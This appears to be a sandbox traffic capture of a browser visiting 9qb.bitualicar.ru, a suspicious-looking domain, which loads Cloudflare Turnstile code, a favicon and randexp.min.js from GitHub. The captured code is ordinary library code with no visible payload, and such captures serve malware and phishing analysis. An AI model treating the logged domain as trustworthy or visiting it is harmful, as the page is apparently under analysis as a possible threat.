2025-03-13 21:23:26 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 13 Mar 2025 21:23:26 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/c8ec7565fab7/api.js Server: cloudflare CF-RAY: 91fe97aac8e132f3-JAX alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:28 UTC	689	OUT	GET /turnstile/v0/b/c8ec7565fab7/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:28 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 21:23:28 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Wed, 12 Mar 2025 15:12:18 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91fe97b78fd04d9a-JAX alt-svc: h3=":443"; ma=86400
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 76 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 76 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 76 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function Bt(e,t){var a=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,v,h;try{for(a=a.call(e);!(c=(v=a.next()).done)&&(o.push(v.value),!(t&&o.length===t));c=!0)
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 76 26 26 28 76 3d 30 2c 70 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function s(p){if(o)throw new TypeError("Generator is already executing.");for(;v&&(v=0,p[0]&&(a=0)),a;)try{if(o=1,c&&(l=p[0]&2?c.return:p[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.val
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 48 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 2c 65 2e 4c 69 67 68 74 3d 22 6c 69 67 68 74 22 2c 65 2e 44 61 72 6b 3d 22 64 61 72 6b 22 7d 29 28 48 65 7c 7c 28 48 65 3d 7b 7d 29 29 3b 76 61 72 20 43 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 65 72 69 66 79 69 6e 67 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 4f 76 65 72 72 75 6e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 61 69 6c 75 72 65 57 6f 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 66 61 69 6c 75 72 65 2d 77 6f Data Ascii: );var He;(function(e){e.Auto="auto",e.Light="light",e.Dark="dark"})(He\|\|(He={}));var Ce;(function(e){e.Verifying="verifying",e.VerifyingHavingTroubles="verifying-having-troubles",e.VerifyingOverrun="verifying-overrun",e.FailureWoHavingTroubles="failure-wo
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 75 74 65 22 2c 65 2e 41 75 74 6f 45 78 70 69 72 65 3d 22 61 75 74 6f 5f 65 78 70 69 72 65 22 2c 65 2e 41 75 74 6f 54 69 6d 65 6f 75 74 3d 22 61 75 74 6f 5f 74 69 6d 65 6f 75 74 22 2c 65 2e 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 6d 61 6e 75 61 6c 5f 72 65 66 72 65 73 68 22 2c 65 2e 41 70 69 3d 22 61 70 69 22 2c 65 2e 43 68 65 63 6b 44 65 6c 61 79 73 3d 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 2c 65 2e 54 69 6d 65 43 68 65 63 6b 43 61 63 68 65 64 57 61 72 6e 69 6e 67 41 75 78 3d 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 2c 65 2e 4a 73 43 6f 6f 6b 69 65 73 4d 69 73 73 69 6e 67 41 75 78 3d 22 6a 73 5f 63 6f 6f 6b 69 65 73 5f 6d 69 73 73 69 6e 67 5f 61 75 78 22 2c 65 2e 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: ute",e.AutoExpire="auto_expire",e.AutoTimeout="auto_timeout",e.ManualRefresh="manual_refresh",e.Api="api",e.CheckDelays="check_delays",e.TimeCheckCachedWarningAux="time_check_cached_warning_aux",e.JsCookiesMissingAux="js_cookies_missing_aux",e.Redirecting
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 4c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 Data Ascii: s;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&t.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearanceLevel!=="default"&&t.set("clearance_level",e.params._debugSite
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 5f 29 7d 76 61 72 20 53 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 61 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 46 65 65 64 62 61 63 6b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 2c 6c 2c 76 3d 4c 28 4d 72 2c 28 6c 3d 28 74 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 73 Data Ascii: guage,"/").concat(_)}var St=function(e){var t,a,o=window.innerWidth<400,c=e.state===Ce.FailureFeedback\|\|e.state===Ce.FailureHavingTroubles,l,v=L(Mr,(l=(t=e.displayLanguage)===null\|\|t===void 0?void 0:t.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),h,s
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 65 28 65 2c 74 2c 61 29 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 4f 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 4f 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 76 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 6c 29 3b 76 61 72 20 73 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 73 3b 72 65 74 75 72 6e 20 76 26 26 65 65 28 70 2c 76 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 4f 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 Data Ascii: eflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Oe(e,t,a){return Be()?Oe=Reflect.construct:Oe=function(c,l,v){var h=[null];h.push.apply(h,l);var s=Function.bind.apply(c,h),p=new s;return v&&ee(p,v.prototype),p},Oe.apply(null,argu
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 3b 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 66 72 28 61 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 71 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 71 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 71 65 29 2e 63 6f 6e 63 61 74 28 65 29 Data Ascii: ;function g(e,t){var a="[Cloudflare Turnstile] ".concat(e,".");throw new fr(a,t)}function x(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function Xe(e){return e.startsWith(qe)?e.substring(qe.length):null}function $(e){return"".concat(qe).concat(e)
2025-03-13 21:23:28 UTC	1369	IN	Data Raw: 67 68 74 3d 22 31 30 30 76 68 22 2c 73 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 73 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c Data Ascii: ght="100vh",s.style.top="0",s.style.left="0",s.style.transformOrigin="center center",s.style.overflowX="hidden",s.style.overflowY="auto",s.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.vertical

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:30 UTC	638	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:31 UTC	740	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 21:23:30 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=AGfeUzaf03ole3UZdo3sw.tVzppeUi6B6U9JJTJK4X8-1741901010-1.0.1.1-B3Do2091mvtuwentEHDxoDchtQePpdJBCRVLoy0iApwBSvIRWZPAcURVgxwQOLmYpNR4H6jJmUukUxnzFq_mAqqsXrqXSOZcnbDUJDlnqco; path=/; expires=Thu, 13-Mar-25 21:53:30 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91fe97c60f2932e7-JAX alt-svc: h3=":443"; ma=86400
2025-03-13 21:23:31 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-13 21:23:31 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:32 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=AGfeUzaf03ole3UZdo3sw.tVzppeUi6B6U9JJTJK4X8-1741901010-1.0.1.1-B3Do2091mvtuwentEHDxoDchtQePpdJBCRVLoy0iApwBSvIRWZPAcURVgxwQOLmYpNR4H6jJmUukUxnzFq_mAqqsXrqXSOZcnbDUJDlnqco
2025-03-13 21:23:33 UTC	435	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 21:23:32 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91fe97d2ef523382-JAX alt-svc: h3=":443"; ma=86400
2025-03-13 21:23:33 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-13 21:23:33 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:50 UTC	530	OUT	OPTIONS /report/v4?s=%2B8ekmxgr3tWLi6qpGXIXchACLLK7nIasMSuz1idL8UJ3e25JWKCYb39LBvRwug2l8cnCpDJ4jpEP7a4D5AxLCXHKmAJGoG17Zm3V2rRBuEbkPWeB8XSclqQgKzFI HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://9qb.bitualicar.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:50 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 13 Mar 2025 21:23:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:51 UTC	695	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://9qb.bitualicar.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 21:23:52 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 13 Mar 2025 21:23:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250313%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250313T212352Z&X-Amz-Expires=300&X-Amz-Signature=f7d2a3838894a0300387406d72b93565186127ee4b05282c35446ff5953990b3&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-13 21:23:52 UTC	3370	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-13 21:23:52 UTC	505	OUT	POST /report/v4?s=%2B8ekmxgr3tWLi6qpGXIXchACLLK7nIasMSuz1idL8UJ3e25JWKCYb39LBvRwug2l8cnCpDJ4jpEP7a4D5AxLCXHKmAJGoG17Zm3V2rRBuEbkPWeB8XSclqQgKzFI HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 426 Content-Type: application/reports+json Origin: https://9qb.bitualicar.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
